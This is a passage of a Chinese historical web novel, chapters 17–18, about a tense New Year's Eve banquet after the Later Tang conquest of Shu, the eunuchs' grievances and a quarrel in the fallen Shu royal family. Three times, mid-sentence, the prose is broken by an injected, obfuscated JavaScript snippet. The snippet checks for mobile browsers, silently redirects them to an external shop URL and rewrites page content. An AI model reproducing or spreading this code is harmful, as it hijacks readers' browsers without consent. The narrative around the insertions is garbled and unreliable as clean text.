此番伐蜀,他虽然确实长了不少见识,可压力也不小,心头就没一日轻松的。 他不过就十七岁的年纪,等今夜翻了年,他也才十八岁。 而这满朝官员,不是三四十岁的中青年,便是五六十岁的青老年。 在这群人眼里,他就是个乳臭未干的臭小子。平日里与他打交道,这些人难免会有几分长者对幼者的轻慢。 他日日顶着这样的压力,从不敢轻易言笑,就怕底下的人会借机说他不够成熟稳重。 哪怕是今晚这种喜庆的日子,他也不敢表现得太过慵懒放松,就怕这群人事后说他没有一个明公该有的样子。 “大王,老夫有一肺腑之言,不吐不快。”耳边忽响起一道如洪钟般的声音。 李继岌心底闪过一丝厌恶,他现在听到这人的声音就感觉不舒服。 但他身为三军统帅,又不得不搭理对方。 李继岌压着不耐,朝旁看去。 只见,一个老将端着酒碗,步履略有些漂浮地走到了他身旁。 这人乃是郭崇韬,官至门下侍中,充任三军招讨使,名义上应该是他的军队副手,可这人倚老卖老,仗着比他大了四十多岁,老在他面前指手画脚。 明明他才该是军队的最高领袖,结果却搞得好像郭崇韬才是首领似的。 偏这人还长了一张方方正正的脸,看着好像正直厚道,实则不过是“假忠厚”,“真奸滑”。 李继岌心里对这人的不满已经积累了不止一点半点,此时却不得不摆出明公的模样,宽容答道:“郭公请说。” 满殿文武官员都忍不住悄悄朝他们这边看来。 郭崇韬席地坐到魏王身侧,酒气熏熏地道:“此番平定蜀国之后,大王定会以战功进封太子。待陛下千秋之后,大王神器在手,宜当遣散洛京内外宦官,优礼各地士族。大王切记,对待这群阉寺,不仅仅是疏远他们就够了,更当明白,骟马不可复乘焉!” 这话起初声音不大不小,说到后面,郭崇韬慨然激动,嗓门一下子大了起来。 原本欢声笑语的殿内霎时鸦雀无声。 在场众人无不震骇讶然。 郭令公今晚真是醉得太厉害了,简直一开口就到处结仇。 一句“陛下千秋之后”等同于安排起了陛下的“身后事”,岂不孟浪? 后面那些话又大骂宦官是被阉割过的“骟马”,还说魏王任用宦官就是“骑乘骟马”,还当众建议魏王登基后一定要清洗“骟马”。 这岂不是公开和宦官撕破脸? 郭令公是一点都不担心立侍在魏王身后的三个宦官会给他使绊子吗? 再则,当今陛下大肆任用阉宦,举朝文武皆知。你在这表演“众人皆醉我独醒”,要魏王登基后革除此等“弊病”,岂不是当着所有人的面说,当老子的已经无药可救,只能指望当儿子的来给老子擦屁股? 你这是对陛下有多不满意?你一个臣子能在大庭广众之下这么说皇帝吗?你这话是不是涉嫌挑拨陛下父子关系? 这一番话下来,可谓把最高当权者得罪了个遍,岂不莽撞戆直? 大殿里静静悄悄。 原本好于吃酒的人都暂时停了饮酒,只拿眼睛瞟着魏王,耳朵使劲往魏王这边凑,就等着看魏王会作何反应。 坐在左侧次座的官员,见魏王处境窘迫,开口解围道:“郭令公醉了。” 说话者乃是工部尚书,任圜(yuán)。 其人四十岁左右,美姿容,有口辩,颇得天家爱重。 当年武皇在世时,为笼络任圜,特把侄女赐予任圜为妻。 后来武皇辞世,当今圣上嗣位,继续对任圜特深委遇,先是让任圜坐到尚书这样的高位上,接着又安排任圜从征巴蜀,参知魏王军事。 魏王也对其颇为信重,俨然以师礼相待。 时人羡慕有之,嫉妒有之,少不得议论任圜一连得到先皇、当今皇帝、未来皇储祖孙三代之宠幸,手段了得。 不出意外的话,此番伐蜀回京,任圜就会以战功进位宰辅,前途无限。 所以,凡是有眼力见的人,都很给任圜面子。 可郭崇韬此时半醉半醒,脑袋轻飘飘的,对着任圜就不客气地道:“老夫才没醉!我说的都是实话,可不像你那样只会逢迎上意!” 众人倒吸一口凉气,都忍不住偷偷去瞄任圜的反应。 任圜却是没什么愠色,也没就此起争执,只是很温和地保持了缄默,让这种火气满满的话自动冷下去。 众人都禁不住暗暗感叹:任圜的涵养也太好了!这种当面羞辱都能忍下来,气度不可谓不大,难怪能得陛下祖孙三代爱重呢。 坐在次旁的李愚,却是脸色持重地微瞥了任圜一眼。 他虽也看不来任圜的这股圆滑劲儿,可在今晚这件事上,他还是站在任圜这边的。 或者,更准确来说,他是站在魏王这边的,要为魏王维持体面。 “郭令公一番实话,诚心可鉴。可今日原是除夕佳节,大谈公务岂不扫兴?”李愚端起酒杯,“某在此敬郭令公一杯,愿与郭令公佳节畅饮,不醉不归。” 这话隐隐把任圜踩了一脚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426927|200879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可在场众人包括任圜在内,也没谁觉得这话有什么大问题。 盖因大家都知李愚说话直且峻——当年,他在梁国为官时,曾因刚直敢言被贬官,而他被贬后依旧本色不改,以至于又被罢职。 当今圣上攻灭梁国后,欣赏其品行与才华,特命其入朝担任主客郎中,充任翰林学士,这基本上属于宰辅预备役了。 对于这样的耿介文士,众人多少都是有份敬意在的,对其也多有宽容。 郭崇韬自己就是直言不畏之人,且一向敬重文士,对李愚这样有胆色的忠直文士自然很有好感。他当即举杯道:“李公所言极是,是某孟浪了,某自罚一杯。” 眼看这事儿就要过去了,郭崇韬罚酒完毕后,却回头对身旁的魏王道:“仆今日有失孟浪,还望大王见谅。但仆所言句句肺腑,还望大王深鉴。” 这话前面没问题,后面不就等同于死不认错,又把人给得罪了吗? 任圜大感无奈,都没眼看魏王的脸色了。 李愚也有些郁闷,郭令公再这般酒后失言,还不如直接让人强制送回府算了。 李继岌心里已经讨厌死了这个嘴无遮拦的郭老头,脸色也有些难看了,但表面上还是不得不维持体面,“郭公之心意,寡人已深明。寡人看郭公似乎不胜酒力,不若让人护送郭公回府如何?” 众人脸色各异。 有人低头饮酒,以此掩盖神色。 有人转开眼,不敢再看。 除夕佳夜,逼得主公当众开口撵人,郭令公怕也是独一份了。 郭崇韬愣怔了一下,看着魏王那张冷若冰霜的脸,他才后知后觉地意识到自己今晚真是失矩了。 眼下,魏王已算极给他面子了,郭崇韬哪有脸再赖在这儿不走,当即顺势答道:“多谢大王体恤,某确实不胜酒力,伏乞先行告退。” 他说着便起身行礼,但因醉酒,身子有些歪斜站不稳。 李继岌都懒得再看这老头一眼,只敷衍地颔了下首。 郭崇韬心里惶恐,恭敬地躬身后退几步,然后再转身往外走。他的随从忙过来搀扶住他。 出了延昌殿,深冬的夜风一吹,郭崇韬打了一个激灵,酒醒了一小半。他对身旁的幕僚道:“今晚多有失礼,大王怕是对我有所误会。要不我让人给蜀主他们送一桌菜去,替大王全了人情,就算为今晚补过了。” 幕僚头都大了,连忙半推半扶着自家主公往前走,“明公真是醉了!蜀主那边,大王自有安排,哪用明公操心?”一个做臣子的,竟想越过君主,去给前朝亡国之君送年夜饭,这算什么事儿?这哪儿是帮着君主全人情?这分明是醉糊涂了,脑子不清醒! 另一厢,延昌殿内。 经郭崇韬方才那么一闹,大家都有些意兴阑珊。 李继岌原本打算和一众官员一起守岁跨年,可现在也没了那个心情。他敷衍了两句,起身退席,让大伙好好吃。 可他一个主公都退席了,其他人又如何吃得好? 一众文武官员也不好马上走,只闷头闷脑地各自吃菜。 任圜想了想,起身跟了上去。 * 延昌殿后方的幽暗长廊里,三个宦官打着灯笼引路,李继岌面无表情地走在其中。 “大王!” 身后忽传来一声喊,李继岌回过头去,就见任圜匆匆追了上来,“任尚书有何事?” 17. 第17章 除夕夜话 任圜看了眼魏王身旁的三个宦官,觉得有些话不好开口,提议道:“大王,可否借一步说话?” 李继岌自然是无不可的。他对任圜的观感很不错,甚至于对其有些依赖。 在一群征蜀文武官员里,少不得有些和李继岌沾亲带故的人,这其中与他关系最近的就数任圜了。 真论较起来,李继岌还得称任圜一声“堂姑父”。 再则,任圜为人温和宽厚,从不会因李继岌年幼而表现出丝毫轻慢,且对其多有维护。 方才在宴会上,也是任圜第一个开口为李继岌解围。 李继岌对此很感激,私心里已把任圜当成了此行伐蜀队伍里最可信任的一员。 * 主臣两人沿着长廊往前走出一段路。 任圜确认那几个宦官听不见他们说话了,这才低声开口道:“大王,郭令公心直口快,今晚醉酒不免言过孟浪,但究其本心,也是为陛下与大王着想。还望大王去其胡言,识其苦心,莫与之计较。” 李继岌今晚本就憋了一肚子的乡愁、愤懑与委屈,起初还能强忍着。 可他私心里把任圜看成了可依赖的家中长辈,此时听到任圜为一个“外人”说话,李继岌一下子委屈到了极点,隐忍了一晚上的情绪终是隐忍不住了,眼泪哗地落了下来。 “我还要怎么不跟他计较?”李继岌流着泪诉委屈,“郭崇韬当着文武百官的面说我阿爷(父亲)不好,还要安排我继位后该怎么做!他这是想当司马懿了吗?他今晚这话要是传到我阿爷耳朵里,阿爷怕不知道会怎么看我!这郭匹夫自己居心叵测,还想拖寡人下水吗?” 这话如何使得! 任圜心里大叹不妙,他就是怕魏王会猜忌郭崇韬,才专程来说和。 哪曾想,魏王竟对郭崇韬已猜忌这般深,俨然把郭氏看做了三国时代篡夺曹魏政权的司马氏! 更甚者,大过年的,国之储君竟让元老重臣气到落泪。 君臣失和至此,怎能不叫人担忧啊! “大王息怒!”任圜循循开解,“郭令公酒后失言,实属不该!但其本心实为江山社稷着想,绝无半分僭越之意。” “郭令公亲历过‘前唐’季年,深知宦官为祸之烈。自宪宗末年以来,宦官把持军政权柄,废立皇帝如同儿戏。” “远的不说,就说昭宗当年被中官刘季述幽禁废黜,距离现在也不过才二十多年!” “虽说昭宗后来失国于朱氏,多是因为朱氏跋扈不臣,可这其中何尝没有宦官弄权之因?” “私以为,郭令公今日之言或有不当之处,可究其根本,也是怕宦官之祸再现我朝!还望大王能体察其本心,万勿以其言辞误解其丹心!” 李继岌听完这番因由,心结可算解开了些,但想想还是有些不平,“就算郭公本心是好的,他也不该如此说话!” “大王所言极是!”任圜宽慰道,“郭令公今晚言行失矩,实是不该。但大王未当庭发怒于他,而是体面将他送走,实是大王有宽仁之风,在场诸臣无不心悦诚服。” 这话戳中了李继岌特别在意的点,他当即问道:“他们当真服我?” “当然是服大王的。”任圜斩钉截铁地答道。 李继岌却是不怎么信,“我看倒是没有呢,他们服郭崇韬还差不多。” 任圜劝慰道:“百官既服大王,也服郭令公。大王乃是三军统帅,我等都听大王调度行事。郭令公乃为招讨使,所思所为也是如何为大王办好事。诸君若是只服大王,而不服郭令公,事情又如何推进得下去,我等又如何能如此顺利地平定蜀国呢?” 听了这话,李继岌心里总算舒坦了些。可他还是有点不平,“可我总觉得他们有些看不起我,经常拿我当小孩子,摆着个长辈架子。” 臣子哪能在君王面前摆长辈架子? 这罪过可太大了! 可统帅年纪太小,底下的人有些轻慢,也的确是不争的事实。 任圜温和地劝解道:“诸君都敬重大王。只是大王接手政务的时间尚浅,难免有时会感觉掣肘。只要大王耐住性子处理好手头政务,诸君自然能看到大王的本事,又如何敢轻忽大王?” 如此百般开导,李继岌才终于平复了心情,诚恳道:“继岌受教了。” 任圜见终于把人给劝好了,这才稍微松了口气,“大王能宽心释怀,便是社稷之福。夜色已深,某不敢久扰,就此告退。” 李继岌微一颔首,表示知晓且应允。 任圜恭敬行礼而退。 他这一退,并没有回延昌殿,而是绕行延昌殿的侧旁廊道,打算直接出宫回府。 谁曾想,刚走到廊道拐角口,就见一个人影立在那儿,看样子等候他多时。 此事虽有些意外,但也实在意料之中。 任圜从容走过去,作揖打招呼:“李学士。” 提前候在这儿的人正是翰林学士,李愚。 方才,魏王负气离席,李愚心中担忧,认为需要有人去劝慰魏王。可这件事,不太适合他来做。 一来,他很清楚自己这张嘴,道理是有的,可就是话说出来硬邦邦的,不中听,别到时候人没劝住,反把人给惹恼了。 二来,在身份上,有人比他更合适,且那人也愿意出手。 他也料到那人离席后估计不愿意再回到宴会上,所以提前来这必经之路上等着了。 “任尚书。”李愚回了一礼,低声问道,“大王现下如何?” 任圜想起魏王方才负气落泪的样子,深叹道:“少主老臣,隔阂易结也易解。” 李愚不由得心头凝重起来,这话换个说法,不就是“隔阂易解也易结”吗?郭令公若是再不收敛些行事,只怕君臣相猜会愈演愈烈。 另一厢。 李继岌回了寝殿。 三个宦官跟着进殿伺候。 其中一人等关好殿门后,躬身走到李继岌身前,问道:“殿下,臣斗胆请教,方才,任尚书可是来为郭公说项的?” 说话之人名为李从袭,其本官乃是“供奉官”,充任此次行营的“中军马步都监”。 虽然“供奉官”于武官而言只算是低层武职,但对于宦官而言则算是中层官职了。 李从袭正是此行宦官里目前品级最高的一位,这也是如今他敢第一个开口问话的底气所在。 但他这话里,颇有僭越之处。 按照礼法,大臣不应称呼亲王为“殿下”,更不应在亲王面前自称“臣”。 这种“殿下”与“臣”的模式,乃是太子的东宫属官在太子面前的敬称与自称。 李继岌如今只是亲王,而不是太子,按理说是没资格用这种模式相称的。 可偏偏李继岌如今的地位颇为微妙。 正如郭崇韬方才在宴席上所说的那样,所有人都知道,只等此次征蜀大军回京,身为亲王的李继岌就会被册封为太子。 所以,李从袭等近侍才迫不及待地改了口,俨然以东宫属官自居。 这种行为,往轻了说是失之于轻浮,不够有涵养;往重了说就是失之于僭越,不知讲体统。 李继岌作为上位者,理应阻止下属官员的这种失礼行为。 可问题在于,此次征蜀,李继岌常常被本国大臣以及蜀国降臣有意无意地轻视,只有身边的这些宦官对他表示出了绝对的忠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426928|200879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诚与敬重。 当某种僭越之举本身就是“忠诚与敬重”的表现之一,那它自然就为当权者所默许了。 此时,李继岌宽容地接受了李从袭话里的种种不当。 他把李从袭等人当成了自己的心腹,自然也没觉得在今晚之事上有什么好隐瞒的,颔首肯定道:“不错。” “哎,臣就知道!”李从袭一下子红了眼眶,声音也变成了哭腔。 李继岌惊愕道:“你这是做什么?” 方才在宴席上被郭崇韬当众羞辱时,李从袭就已经想哭了,只不过一直强忍着没哭。 到此时只有自家主仆在场了,李从袭便再也忍不住了,流着泪控诉:“任尚书讲求和气,自然是希望殿下和郭公和和气气的。” “可郭公平日里收买军队人心,今日在宴席上,更当众侮辱陛下与殿下,其心思不正,天地共见!” “殿下若是听信任尚书的和气之言,臣只怕我等到时不知暴骨何处!” 李继岌悚然而惊,郭崇韬近来确实越来越不像话。哪怕任圜极力为之开脱,也改变不了郭崇韬形迹可疑的事实。 一旁的吕知柔见此情况,也酝酿着情绪打算开口。他乃是“高品”,属于中下级宦官,比李从袭低了两个品阶,此次担任魏王府衙的纪纲。 “我等中官只为侍奉宫中贵人,也只有贵人有资格管教。”吕知柔又恨又怕又气,情绪一激荡,眼泪也簌簌直落。 “可郭公当着文武百官之面,大肆辱骂我们这些中官,还扬言要把我们一网打尽。” “试问郭公一个外臣,有什么资格这般羞辱我们内官?这明着是在骂内官,实则不是在轻视殿下吗?” 有道是打狗还得看主人,当着主人的面就打起了狗,你这到底是看不起狗,还是看不起主人呢? 这问题不能深想,一想就让人郁闷。 李继岌脸色难看起来,今晚任圜开导了他那么久,才让他心情稍微好了一点。如今中官左一言右一句,直接又让他心情坏了起来。 他看向那个一直没开口的宦官,心烦意乱地问:“廷安,你怎么看?” 被问话的人名为李廷安,职位也是高品,此次担任魏王府衙的通谒。 李廷安默然片刻,斟酌着开口道:“臣以为,郭令公对陛下、殿下,以及对我等中官,都误解太深。” “中官本是为宫中贵人效命。前朝后廷之间,时时有消息要传达,外臣不便出入内廷,这就需要中官居中转达。” “若是真裁撤了所有中官,日后谁来沟通内外廷呢?用宫女吗,还是用外臣呢?若用宫女,只怕会有风言风语;若用外臣,只怕风言风语更甚。” “且不说传信之用了,中官所承担的杂役也不少。若是没了中官,日后,宫中杂务是全由宫女来做吗?” “那些重活儿若是宫女应承不下来,难道是要请侍卫帮忙吗?内廷乃是嫔御息养之所,难道以后是要允许外男和宫女一起出入内廷做事吗?” “恕臣说一句大话,只要皇城还存在一天,就用得着我们中官一天。郭令公今日那些话,实是不通内廷庶务。” “臣就只当是外行人说了通笑话,听听也就罢了,入不得心,也当不得真。” 李继岌不由得听笑了,“你胆儿还不小啊,敢说郭公是外行,就不怕他到时候第一个收拾的就是你?” 李廷安乖顺地垂着头,“臣乃殿下之属臣,忠心侍奉殿下,自认问心无愧。就算臣真有什么行差就错,也是任凭殿下处置,断没有让外臣越权处置的道理。” 李继岌脸沉了下去。内官乃是皇家属官,郭崇韬今日张口就要清洗内官,岂不是僭越不臣? 18. 第18章 天家闹剧 “都下去吧。”李继岌心情糟糕透顶,摆摆手挥退众人,不想就这件事再谈下去。 李从袭等人行礼告退。 他们仨需要轮流值夜,平时都睡在西侧的朵殿里。 一回到朵殿,吕知柔就忍不住了,坐到榻边就大哭了起来,破口大骂:“我操他爷的郭崇韬!敢骂我们是骟马,他怎么不看看他平时打仗都骑的是什么马?军队里的战马过半都是骟马,他是要把这些马全都推出去斩了吗?” “还什么‘骟马不可复乘’?有本事他们全都去骑那些没骟过的马啊,看那群狂躁的鸟马听不听他们指挥!真以为留了个鸟就了不起了!还‘骟马’?我看郭崇韬连骟马都不如,他爷的就一匹老瘟马,怎么不早点发瘟死了!” 李从袭也气得直哭,“郭匹夫根本就没把咱们当人看!他若再这么得势下去,咱们一群人哪里还有活路啊?” 李廷安想到郭崇韬一心要把宦官赶尽杀绝,也不由得默默抹起了眼泪。 原以为陛下问鼎中原后,他们这些宦官也能跟着过上好日子。 哪知安生日子还没过上几天,这些外臣就把他们宦官当眼中钉、肉中刺,活像他们是什么王朝魔鬼似的。 “王朝若是兴盛,没见一个人夸咱们中官有功。”李廷安悲从中来,哽咽道,“可王朝若是出了什么问题,这些外臣就把责任一股脑儿地全推到咱们中官身上来了。” “都说大唐衰败是因为中官夺权,可他们怎么不说当时党争之烈、藩镇之横?” “说句僭越的话——当年,昭宗听信崔相国(崔胤)和梁太祖(朱温)的话,血洗京都内外宦官。可等他们杀完宦官,这国……不也亡了吗?” 这场二十多年前由丞相崔胤所发动的宦官大清洗,足以令每个宦官胆寒。 彼时,唐昭宗刚经历过被宦官刘季述幽禁废黜之事,对宦官恨之入骨。 在向宦官发起报复时,这位饱含怨怒与惊惧的帝王没有分辨“好”与“坏”,也没有分辨“有功”或“无功”,而是把所有宦官都当成是尸位素餐的王朝毒虫。 在昭宗的默许下,崔胤和朱温把京城内的数百名宦官驱赶至内侍省,然后一网打尽。 当天,内侍省血流成河,冤号之声响彻内外。 整个皇宫的宦官几乎屠戮殆尽,仅留下了三十个幼弱的小宦官以备洒扫。 杀完京城内的宦官,朝廷又下诏,各道已在路上的宦官监军使即刻回京,那些已在藩镇的监军使,则令藩镇就地处决! 这一轮清洗,几乎将各地的宦官监军使诛除殆尽。 “昭宗当年血洗监军使,何曾想过大唐没亡于黄巢之手,杨公复光功不可没?” “杨公也曾任监军使,为了大唐鞠躬尽瘁,最后累死在了疆场上!” “朝廷对咱们中官喊打喊杀之时,是一点也想不起中官的这些功劳吗?”李从袭说到此处,不禁怆然泪下。 杨复光乃是众宦官所钦佩的前辈,哪怕是对宦官喊打喊杀的文武大臣对其都说不出重话。 当年,黄巢攻破潼关,唐僖宗自都城长安仓皇逃亡蜀中。 大唐岌岌可危。 彼时,杨复光身为监军使,恰好滞留在潼关一带。 他不畏生死奔走前线,为朝廷团结了一批原本游移不定的大将,其本人的数名养子也大多是护国悍将。 毫不夸张地说,朝廷能收复京师、败退黄巢,杨复光居功至伟。 后来,杨复光病逝军中,三军哀恸。 做官——尤其是做一个宦官——能做到这个份上,生荣死哀,试问谁不叹一句敬重可畏呢? 可讽刺的是,哪怕有这么一位可敬可畏的宦官榜样在,也改变不了外臣鄙夷宦官的普遍心态。 “朝廷哪儿有把我们这群去了势的人当人看?”吕知柔悲愤交加,“用得着我们的时候,就把我们当畜生;用不着了,就把我们当恶鬼。” 二十几年前的那场宦官大清洗,杀灭了大唐季年宦官专政的局面,可也杀灭了昭宗手中可用于平衡藩镇的微妙工具。 清洗结束之时,也是昭宗彻底沦为傀儡之时。 不久之后,大唐便失国于朱温之手。 “当年,我等侥幸躲过一劫。如今陛下中兴大唐,郭崇韬是想学那崔胤和朱温,又要把咱们中官血洗一遍吗?”李从袭悲不自胜。 当年那场大清洗,他们仨都亲历在场,只因彼时他们都才十岁出头,而朝廷又恰好想要保留几个做杂役的小宦官,所以他们才侥幸躲过了这场浩劫。 吕知柔越哭越恨,咬牙切齿地道:“郭匹夫做事太绝!他不给咱们留活路,那也休想咱们给他留活路!” 这真是说出了几人的心里话。 三人一面发恨发狠,一面相顾垂泪,好好一个除夕夜,竟是以泪洗面,毫无喜色。 然而,今夜含恨落泪的注定不只他们三人。 * 此时,西宫。 明月渐上中天,树影变得婆娑细碎,隐在柳林之后的宫殿也渐渐变得清晰起来。 宫殿里透出昏黄的光,里面的人显然还没睡,但也没发出什么声儿,显得一片死沉沉的。 闰腊月的最后一天,冬风正紧,但宫殿的一面窗户却大开着。 一个青年站在窗前,失神地看向前方,好像也不觉冷。 他脸方嘴阔,垂手过膝,是相书里典型的帝王之相。 可惜,如今这副帝王相仿若蒙上了一层灰,掺进了许多苦相。 他便是蜀国的亡国之君,王衍。 等过了年,王衍也不过才二十八岁,当是风华正好,可惜亡国悲气罩身,明明还是一个大活人,却在惨白月光的照映下,宛如一个白生生的死人。 这些日子,王衍已不知明里暗里哭过多少回。 这座皇宫本该是他王家的所有物,可现在却归属了李家。 呵,其实不应该叫“皇宫”了,从他在冬月廿七出城投降的那一刻起,“皇宫”便降格为了“王宫”。 这里不再是大蜀皇帝的“皇宫”,而是大唐皇帝的“蜀王宫”。 在他投降的那一日,魏王李继岌就入住了“蜀王宫”,将唐国的战时“都统府”设置在了此处。 于是乎,“蜀王宫”和“都统府”现在成了暂时性的同义词。 而他这个曾经的“王宫主人”只能屈居在王宫内部的西宫。 宣华苑距离西宫并不远。 他曾经常常在那儿宴请文武群臣。 就在乾德三年(921年),他还命人将宣华苑扩建了一番,在其中加建了延昌殿、重光殿等四座宫殿。 可如今四年多过去,这个曾经他最爱游玩的地方竟成了唐国君臣欢庆灭蜀的地方。 他命人精心构筑的宫殿终究是为他人做了嫁衣裳! 王衍想想就不禁潸然泪下。 在他被迫出城投降的前几天,他所信任的宗室大臣王宗弼就强迫他迁住西宫,逼令他下诏投降。 王宗弼的儿子王承涓,还趁乱仗剑入宫,强行掳走了他的数名绝色宠姬。 他会沦落到今天这地步,王宗弼父子罪不可恕! 可笑的是,王宗弼贪心不足,妄图以“劝降”之功跟魏王李继岌讨价还价,差点引起唐国军队哗变。 李继岌雷霆震怒,直接下令斩了王宗弼,族灭其全家,籍没其家产。 此事实在是荒谬滑稽。 可王衍偏偏面上笑不出来,心里仍旧堵着一团气,根本没觉得解气。 他回过头,正巧瞧见一个中年妇人坐在食案后大快朵颐。 今日除夕,魏王李继岌让人送了一桌年夜菜过来。 蜀国的太后、太妃,还有几个妃嫔、王子、公主都聚在殿中团年。 可除开这个妇人,其他人都是哀戚满面,筷子都不曾动一下。 这妇人倒好,没他这个家主动筷,她倒先动了筷,还吃得这么津津有味! 那模样,丝毫不见亡国破家之恨,好似只关注嘴里的那口饭香不香、好不好。 王衍怒从心起,大步冲过去,夺过妇人面前的饭碗就“啪”地一声砸在地上,“你还有心情吃饭?现在国不国,家不家的,你是一点不伤心难过吗?” 妇人乃是普慈公主,王衍的异母姐姐——王云姝——现年四十岁出头,单论年纪,和王衍的生母徐太后差不多大。 普慈公主和王衍一样继承了父亲王建的方脸,天生就带了股福气与正气,不过她的眉眼却不似王衍那般风流多情,而是倔强威肃得很,让人望之而不敢亵渎。 “有本事投降,那就要有本事认!”普慈公主冷着脸道,“投了降又认不起,转头朝家里人撒气,算什么本事?今天是大年夜,你一个人在那儿伤春悲秋不吃饭,全家人都要陪着你一起饿肚子吗?” 王衍怒火直烧,“我看你是良心全让狗吃了!大蜀亡了,阿娘、姨母她们天天以泪洗面,就你吃得好、睡得香,跟个没事人一样。阿爷真是白养你这么多年!” “你少在这里给我扯阿爷!”普慈公主面若寒霜,不禁也有些动了真怒,“亲手葬送蜀国的人是你,现在你在这儿假惺惺地伤心给谁看?” “我假惺惺?”王衍指了指自己,自觉受到了极大的侮辱,怒火烧得更旺了,说话也愈发刻薄,“你自个儿狼心狗肺,不知为国痛心,还有脸骂我假惺惺?你忘了蜀国都为你做过什么吗?” 普慈公主脸色难看起来,有些事,她一点都不想再提。 可王衍却当她是心虚了,愈发肆意讥讽,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426929|200879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想借此把一腔亡国之痛宣泄出来:“你当年嫁去凤翔(岐国都城)过得不好,写信说要回娘家。阿爷最疼的就是你,当即就编了个理由把你接回来。” “凤翔那边找阿爷要人,阿爷不给,结果凤翔就发兵打我们蜀国,战事前前后后打了四年!” 王衍愤愤比出四根手指,“就因为你,我大蜀白白被拖入战事这么多年!现在国家到了这种时候,你一点不念着家国情分,反而天天好吃好喝,你于心何安?!” “你哪只眼睛看到我安心了?”普慈公主眼眶泛红,强压着满腔亡国愁绪,起身反驳道,“你自己葬送了江山,怕别人责怪你,就整日哭哭啼啼地装爱国。你以为你在这儿数落我没你哭得多,就能显得你比我更爱蜀国吗?” 普慈公主抬手点了点自己的心窝,“我有泪只往心里流。我大蜀的皇族才不会哭哭啼啼地演给别人看!我堂堂蜀国公主,就算亡了国,也不能成为别人眼里的笑话!” 话到此处,一滴泪滑出眼眶,普慈公主抬手就抹了泪,恨恨地继续道,“你说我挑起了岐、蜀两国的战事,可当年岐国发兵,不过是因为早就打起了咱们边境的主意,说什么我‘省亲不归’,无非就是个挑事的借口而已!” “再说了,这场仗,咱们虽然打得是不容易,可最后赢的是我们——岐国数名大将直接纳土投降。我大蜀得了地盘,得了人才,有何不好?” 普慈公主忍不住双手做出捧状,像是捧起了虚幻的江山,“就算你说我挑起了战事,可我有像你一样亲手葬送过我大蜀河山吗?我有像你一样奢侈败国,惹得中原迫不及待来打我们吗?” “王云姝!”王衍气得五脏六腑都烧了起来,“你放肆!” “放肆的人是你!”普慈公主恨恨含泪,她以前碍于君臣之礼,不敢对王衍多做品评。 可如今国都亡了,王衍还在她面前逞威风,甚至把这些日子受的窝囊气全往她身上撒。 这个所谓的一国之君丝毫没有悔过之心,到现在都没想明白国是怎么亡的——如此执迷不悟,怎让人还忍得下去! 普慈公主只想破口大骂,骂醒这个头脑昏昏的亡国之君—— “你自十八岁登基以来,风流奢侈,毁家败国!” “你不仅强抢民女,玩弄人妻,伤风败俗;还大兴土木,四处游玩,劳民伤财!” “忠臣谏言你不听,不是将之贬谪远地,就是将之拖出去斩首!” “奸臣谗言你倒是一句不落,搞得朝廷上下乌烟瘴气!” “唐国的使臣不过就来我们蜀国走了一趟,就知你这蜀国皇帝不中用,一下子就坚定了要打我们的决心!” “我蜀国落到今天这境地,你这个国主罪不可恕!” 怎能这样当面大骂皇帝啊?! 就算句句都是事实,也不能这样揭皇帝的短啊! 殿内一众妃嫔王女王子惊心骇神,一点声儿都不敢发出来。 “你!”王衍抬起手指着普慈公主,气得手指直抖。 普慈公主满腹幽怨,自大蜀亡国以来,那么多辛酸难过她都只是强埋在心里,从不愿透露分毫。 可今日,王衍这般激她,这些情绪就如同山洪暴发,只想来个毁天灭地! 哪儿还管它什么君君臣臣、礼教尊卑! “你还有脸问我为何好吃好喝?”普慈公主讥讽道,“咱们大蜀的亡国之君拿巴蜀大好河山为献,才换得我们这些人苟且偷生,我为何不好好活?我不好好吃下每一口饭,对得起这份江山献祭吗?” 王衍被狠狠戳中了痛处,厉声咒骂道:“你若是真懂得痛惜我蜀中山川,现在就该以身殉国,而不是在这说一套做一套!” 普慈公主含泪大笑起来,“哈哈哈,堂堂一国之君都不知以身殉国,我区区一个公主又有什么资格殉国?” “放肆!”王衍恼羞成怒,一巴掌朝公主扇了过去。 殿中众人都惊了一跳,大气不敢喘一声。 普慈公主被扇得头歪向一边。 她缓缓转回脸来,半张脸颊被红色的巴掌印填满。 她也不抬手去摸一下被打的脸,只惊怒交加地瞪着面前的亡国之君,“阿爷都不曾舍得打我一下,你凭什么打我?” 后半句话几乎是咆哮而出。 伴随最后一个字落下,普慈公主抬手就一巴掌扇了回去! “啪——” 响亮的掌掴声在殿中蓦地炸开。 仿若晴天一声旱雷忽地在天地间炸响。 众人猝不及防,一时都惊得忘了反应。 那可是皇帝啊! 